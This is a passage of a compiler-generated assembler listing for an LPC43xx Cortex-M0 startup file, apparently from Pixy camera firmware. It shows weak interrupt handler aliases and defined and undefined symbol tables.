461 .weak M0_MCPWM_IRQHandler
462 .thumb_set M0_MCPWM_IRQHandler,M0_IntDefaultHandler
463 .weak M0_TIMER3_IRQHandler
464 .thumb_set M0_TIMER3_IRQHandler,M0_IntDefaultHandler
465 .weak M0_GINT1_IRQHandler
466 .thumb_set M0_GINT1_IRQHandler,M0_IntDefaultHandler
467 .weak M0_TIMER0_IRQHandler
468 .thumb_set M0_TIMER0_IRQHandler,M0_IntDefaultHandler
469 .weak M0_RIT_OR_WWDT_IRQHandler
470 .thumb_set M0_RIT_OR_WWDT_IRQHandler,M0_IntDefaultHandler
471 .weak M0_SCT_IRQHandler
472 .thumb_set M0_SCT_IRQHandler,M0_IntDefaultHandler
473 .weak M0_USB1_IRQHandler
474 .thumb_set M0_USB1_IRQHandler,M0_IntDefaultHandler
475 .weak M0_USB0_IRQHandler
476 .thumb_set M0_USB0_IRQHandler,M0_IntDefaultHandler
477 .weak M0_LCD_IRQHandler
478 .thumb_set M0_LCD_IRQHandler,M0_IntDefaultHandler
479 .weak M0_SDIO_IRQHandler
480 .thumb_set M0_SDIO_IRQHandler,M0_IntDefaultHandler
481 .weak M0_ETH_IRQHandler
482 .thumb_set M0_ETH_IRQHandler,M0_IntDefaultHandler
483 .weak M0_DMA_IRQHandler
484 .thumb_set M0_DMA_IRQHandler,M0_IntDefaultHandler
485 .weak M0_M4CORE_IRQHandler
486 .thumb_set M0_M4CORE_IRQHandler,M0_IntDefaultHandler
487 .weak M0_RTC_IRQHandler
488 .thumb_set M0_RTC_IRQHandler,M0_IntDefaultHandler
489 00b6 C046 .text
490 .Letext0:
491 .file 2 "/usr/local/lpcxpresso_8.1.4_606/lpcxpresso/tools/redlib/include/stdint.h"
492 .file 3 "/home/weyoui/PROJECTS/SmartCart/Pixy/pixy/misc/gcc/pixy_m0/inc/lpc43xx.h"
DEFINED SYMBOLS
*ABS*:00000000 cr_startup_lpc43xx-m0app.c
/tmp/ccUnLH0K.s:24 .isr_vector:00000000 g_pfnVectors
/tmp/ccUnLH0K.s:21 .isr_vector:00000000 $d
/tmp/ccUnLH0K.s:192 .text.ResetISR:00000000 ResetISR
/tmp/ccUnLH0K.s:296 .after_vectors:00000074 M0_NMI_Handler
/tmp/ccUnLH0K.s:322 .after_vectors:0000007c M0_HardFault_Handler
/tmp/ccUnLH0K.s:354 .after_vectors:00000098 M0_SVC_Handler
/tmp/ccUnLH0K.s:375 .after_vectors:000000a0 M0_PendSV_Handler
/tmp/ccUnLH0K.s:396 .after_vectors:000000a8 M0_SysTick_Handler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_RTC_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_M4CORE_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_DMA_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_ETH_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_SDIO_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_LCD_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_USB0_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_USB1_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_SCT_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_RIT_OR_WWDT_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_TIMER0_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_GINT1_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_TIMER3_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_MCPWM_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_ADC0_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_I2C0_OR_I2C1_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_SGPIO_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_SPI_OR_DAC_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_ADC1_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_SSP0_OR_SSP1_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_EVENTROUTER_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_USART0_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_USART2_OR_C_CAN1_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_USART3_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_I2S0_OR_I2S1_OR_QEI_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_C_CAN0_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_SPIFI_OR_VADC_IRQHandler
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_M0SUB_IRQHandler
/tmp/ccUnLH0K.s:74 .after_vectors:00000000 $t
/tmp/ccUnLH0K.s:79 .after_vectors:00000000 data_init
/tmp/ccUnLH0K.s:139 .after_vectors:00000040 bss_init
/tmp/ccUnLH0K.s:187 .text.ResetISR:00000000 $t
/tmp/ccUnLH0K.s:282 .text.ResetISR:00000078 $d
/tmp/ccUnLH0K.s:313 .rodata:00000000 $d
/tmp/ccUnLH0K.s:344 .after_vectors:00000090 $d
/tmp/ccUnLH0K.s:349 .after_vectors:00000098 $t
/tmp/ccUnLH0K.s:417 .after_vectors:000000b0 M0_IntDefaultHandler
.debug_frame:00000010 $d
UNDEFINED SYMBOLS
_vStackTop
__main
__data_section_table
__data_section_table_end
__bss_section_table_end
UARTPuts
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.